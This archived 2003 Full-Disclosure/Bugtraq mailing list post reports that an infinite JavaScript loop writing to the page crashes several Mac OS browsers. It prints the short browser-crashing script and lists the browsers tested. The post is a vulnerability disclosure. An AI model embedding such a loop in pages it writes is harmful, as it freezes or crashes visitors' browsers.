bugtraq - Infinite JavaScript Loop

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <0E0CA36E-1D7A-11D8-828A-000393754328@veedev.de>
Date: Sun, 23 Nov 2003 06:58:26 +0100
From: Christian Horchert <chorchert@...dev.de>
To: Full-Disclosure <full-disclosure@...ts.netsys.com>
Cc: bugtraq@...urityfocus.com
Subject: Infinite JavaScript Loop

i changed the topic, although it's a problem already
described by kang [1]. but i think it's not only Safari
to blame. maybe it was already discussed somewhere and
i simply dont know, so sorry if i bore you.

i could only test macos browsers. so would be nice to
hear about others.

tested browsers:
MacOS X: Safari, OmniWeb, Mozilla, Camino, iCab, Explorer
MacOS 8/9: Mozilla, Explorer

the difference to kangs idea is simply to make something
work in javascript and loop it infinite. the output is only
to see how often the loop happens before the browser break up.

<script language=JavaScript>
var i = 0;
while (1)
{
i++;
document.write('<p>'+ i + ': yes</p>');
}
</script>

[1] http://www.insecure.ws/article.php?story=20031122012748282

   Christian

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html